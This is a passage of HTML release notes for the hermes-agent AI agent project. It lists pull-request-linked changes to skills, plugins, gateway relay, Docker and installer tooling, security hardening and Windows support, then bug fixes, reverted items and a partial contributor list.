<li>Skills: <code>simplify-code</code> skill (parallel 3-agent code review &amp; cleanup) + risk-tiered application with Chesterton's Fence; find &amp; diff user-modified bundled skills; optional <strong>payments</strong> skills (Stripe Link, MPP, Projects); CLI-based shop skill; live per-source browse progress (<a href="https://github.com/NousResearch/hermes-agent/pull/41691" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41691/hovercard">#41691</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49070" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49070/hovercard">#49070</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48286/hovercard">#48286</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/31343" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31343/hovercard">#31343</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47309" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47309/hovercard">#47309</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43398/hovercard">#43398</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/colinwren-stripe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/colinwren-stripe">@colinwren-stripe</a>)</li>
<li>Curator: make skill consolidation opt-in (prune stays default-on) (<a href="https://github.com/NousResearch/hermes-agent/pull/47840" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47840/hovercard">#47840</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Plugins: install from a subdirectory within a repo; accept browser-pasted GitHub URLs in <code>hermes plugins install</code>; <code>session:compress</code> lifecycle event + <code>thread_id</code>/<code>chat_type</code> in agent:start/end context (<a href="https://github.com/NousResearch/hermes-agent/pull/42963" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42963/hovercard">#42963</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33539" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33539/hovercard">#33539</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47252" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47252/hovercard">#47252</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41672" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41672/hovercard">#41672</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Memory/skill <strong>write approval</strong> gate (default off) — boolean <code>write_approval</code> replaces the tri-state <code>write_mode</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/38199" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38199/hovercard">#38199</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43354" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43354/hovercard">#43354</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🌐 Fleet, Relay &amp; Automation</h2>
<ul>
<li><strong>Managed scope</strong> — administrator-pinned, user-immutable config &amp; secrets from a root-owned <code>/etc/hermes</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/49098" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49098/hovercard">#49098</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Multiplex all profiles over one gateway process</strong> (opt-in) (<a href="https://github.com/NousResearch/hermes-agent/pull/48273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48273/hovercard">#48273</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>Pluggable CronScheduler</strong> + Chronos managed-cron provider (scale-to-zero) (<a href="https://github.com/NousResearch/hermes-agent/pull/48275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48275/hovercard">#48275</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>Automation Blueprints</strong> — parameterized automation templates across every surface (<a href="https://github.com/NousResearch/hermes-agent/pull/41309" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41309/hovercard">#41309</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway-Gateway relay (phases 0-3): relay adapter + capability descriptor, connector⇄gateway channel auth + signed-HTTP inbound + enroll CLI, WS-only inbound, managed-boot self-provision client (<a href="https://github.com/NousResearch/hermes-agent/pull/48078" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48078/hovercard">#48078</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48147/hovercard">#48147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48294" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48294/hovercard">#48294</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48242" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48242/hovercard">#48242</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🐳 Docker, Nix &amp; Installer</h2>
<ul>
<li>s6: detect supervisor directly for gateway restart; register profile gateways without auto-starting; persist desired state; clear stale log locks (<a href="https://github.com/NousResearch/hermes-agent/pull/46290" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46290/hovercard">#46290</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46266" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46266/hovercard">#46266</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46292/hovercard">#46292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46289" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46289/hovercard">#46289</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Docker: optimize image size (.dockerignore, drop dev deps, split layers); pre-install matrix deps; supervised gateway uses <code>--replace</code>; harden hosted install tree against self-modification (<a href="https://github.com/NousResearch/hermes-agent/pull/38749" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38749/hovercard">#38749</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42413" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42413/hovercard">#42413</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47555" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47555/hovercard">#47555</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47490" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47490/hovercard">#47490</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Nix: cold npm build fixes + auto-fix-lockfiles workflow; hashless npm deps via <code>importNpmLock</code>; refresh npmDepsHash after Electron 40.10.2 pin (<a href="https://github.com/NousResearch/hermes-agent/pull/41867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41867/hovercard">#41867</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48883/hovercard">#48883</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48457/hovercard">#48457</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Installer: clear unmerged git index before autostash; scope install-method stamp to the code tree (<a href="https://github.com/NousResearch/hermes-agent/pull/45515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45515/hovercard">#45515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48188/hovercard">#48188</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Fail closed on own-policy gateway adapters; fail closed for approval-button auth on Slack/Feishu/Discord when no allowlist is set (<a href="https://github.com/NousResearch/hermes-agent/pull/45634" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45634/hovercard">#45634</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41226/hovercard">#41226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Redact secrets in request debug dumps; withhold host metadata from public status; block exfil-shaped / suspicious MCP stdio configs before probe (<a href="https://github.com/NousResearch/hermes-agent/pull/46637" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46637/hovercard">#46637</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45642" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45642/hovercard">#45642</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46083" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46083/hovercard">#46083</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Close shell-escape denylist bypass + fail-closed on missing approval module; scrub operator environment before launching cua-driver MCP; sanitize env for cron job-script subprocesses; bound TodoStore content length/count; scan REST cron prompts for parity with the agent tool (<a href="https://github.com/NousResearch/hermes-agent/pull/40591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40591/hovercard">#40591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48423" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48423/hovercard">#48423</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49207" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49207/hovercard">#49207</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41648" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41648/hovercard">#41648</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41335" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41335/hovercard">#41335</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Bump urllib3 and PyJWT to clear CVEs; Langfuse redacts base64 data URIs instead of truncating into invalid base64 (<a href="https://github.com/NousResearch/hermes-agent/pull/40179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40179/hovercard">#40179</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43322" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43322/hovercard">#43322</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🪟 Windows</h2>
<ul>
<li>Dashboard <code>/chat</code> tab via ConPTY (<code>win_pty_bridge</code>) + tests; resolve PowerShell host instead of bare <code>powershell</code> for uv install; resolve <code>powershell.exe</code> by absolute path so Desktop install doesn't stall (<a href="https://github.com/NousResearch/hermes-agent/pull/42251" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42251/hovercard">#42251</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48341" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48341/hovercard">#48341</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40927" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40927/hovercard">#40927</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Repair stale winget registration + refresh/merge PATH; kill hermes before recreating venv to release <code>_bcrypt.pyd</code> lock; read HERMES_HOME from the registry when env is stale; quarantine running <code>hermes.exe</code> during update repair (<a href="https://github.com/NousResearch/hermes-agent/pull/44084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44084/hovercard">#44084</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45120/hovercard">#45120</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46772" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46772/hovercard">#46772</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40409" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40409/hovercard">#40409</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>JOB-breakaway watcher reliability + status --deep probes; handle Windows PTY stdin + detached WS frames; decode subprocess output as UTF-8; confirm-modal on native Windows (<a href="https://github.com/NousResearch/hermes-agent/pull/40909" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40909/hovercard">#40909</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41953" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41953/hovercard">#41953</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44328" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44328/hovercard">#44328</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42419" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42419/hovercard">#42419</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🐛 Notable Bug Fixes</h2>
<ul>
<li>Percent-encode non-ascii URL components; sanitize <code>:</code> in FTS5 queries so colon searches don't silently return empty (<a href="https://github.com/NousResearch/hermes-agent/pull/41430" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41430/hovercard">#41430</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40653" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40653/hovercard">#40653</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Preserve multimodal user content through crash-resilience persist; flatten multimodal content before provider sync; strip MEDIA directives from compressor input (<a href="https://github.com/NousResearch/hermes-agent/pull/47907" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47907/hovercard">#47907</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44738" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44738/hovercard">#44738</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44708" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44708/hovercard">#44708</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Re-enter retry loop on genuine Nous 429 so the fallback guard runs; scope Nous tags to Nous auxiliary calls; suppress "Credit access paused" notice on free models (<a href="https://github.com/NousResearch/hermes-agent/pull/45136" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45136/hovercard">#45136</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45801" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45801/hovercard">#45801</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43669" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43669/hovercard">#43669</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: don't strict-scan script-injected output in no-skills jobs; resolve per-job provider "custom" to <code>providers.custom</code> instead of codex; repair cron ownership on container restart (<a href="https://github.com/NousResearch/hermes-agent/pull/43223" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43223/hovercard">#43223</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43505" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43505/hovercard">#43505</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41976/hovercard">#41976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><em>(300+ issues closed this window; full per-area fix list is exhaustive — these are the highest-impact.)</em></li>
</ul>
<h2>↩️ Reverted in this window (not shipping)</h2>
<ul>
<li><code>html-artifact</code> skill + sketch/architecture-diagram/concept-diagrams fold (<a href="https://github.com/NousResearch/hermes-agent/pull/48899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48899/hovercard">#48899</a>) — reverted (<a href="https://github.com/NousResearch/hermes-agent/pull/49053" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49053/hovercard">#49053</a>); absent on main.</li>
<li>Cron per-job profile support reverted (<a href="https://github.com/NousResearch/hermes-agent/pull/43956" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43956/hovercard">#43956</a>); a nix patchPhase workaround reverted (<a href="https://github.com/NousResearch/hermes-agent/pull/42151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42151/hovercard">#42151</a>).</li>
</ul>
<h2>👥 Contributors</h2>
<p>A huge thank-you to everyone who contributed to this release — <strong>245 contributors</strong> across commits, co-author trailers, and salvaged PRs.</p>
<h3>Core</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a></p>
<h3>Top community contributors (by merged PRs)</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — 92 PRs (desktop app maturity (shortcuts, notifications, watch-windows, themes))</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — 60 PRs (onboarding, model picker, cron env sanitization)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a> — 27 PRs (desktop &amp; gateway fixes)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — 23 PRs (gateway multiplex, Chronos cron, dashboard auth)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — 21 PRs (gateway &amp; installer reliability)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — 19 PRs (dashboard &amp; desktop UX)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a> — 14 PRs (usage-aware credits, Supermemory)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — 14 PRs (desktop build pipeline &amp; Linux/Windows)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a> — 5 PRs (session lifecycle fixes)</li>
</ul>
<h3>All contributors (alphabetical)</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0z1-ghb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0z1-ghb">@0z1-ghb</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xdany/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xdany">@0xdany</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xneobyte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xneobyte">@0xneobyte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xyg3n/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xyg3n">@0xyg3n</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1960697431/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1960697431">@1960697431</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/895252509/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/895252509">@895252509</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/achaljhawar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/achaljhawar">@achaljhawar</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AIalliAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AIalliAI">@AIalliAI</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aimable100/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aimable100">@aimable100</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AJ/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AJ">@AJ</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ak2k/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ak2k">@ak2k</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alarcritty/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alarcritty">@alarcritty</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlchemistChaos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlchemistChaos">@AlchemistChaos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aldoeliacim/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aldoeliacim">@aldoeliacim</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlexanderBFoley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlexanderBFoley">@AlexanderBFoley</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alfred-smith-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alfred-smith-0">@alfred-smith-0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ali-nld/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ali-nld">@ali-nld</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/am423/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/am423">@am423</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AMEOBIUS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AMEOBIUS">@AMEOBIUS</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AMIK-coorporations/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AMIK-coorporations">@AMIK-coorporations</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/annguyenNous/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/annguyenNous">@annguyenNous</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ArcanePivot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ArcanePivot">@ArcanePivot</a>,<br>
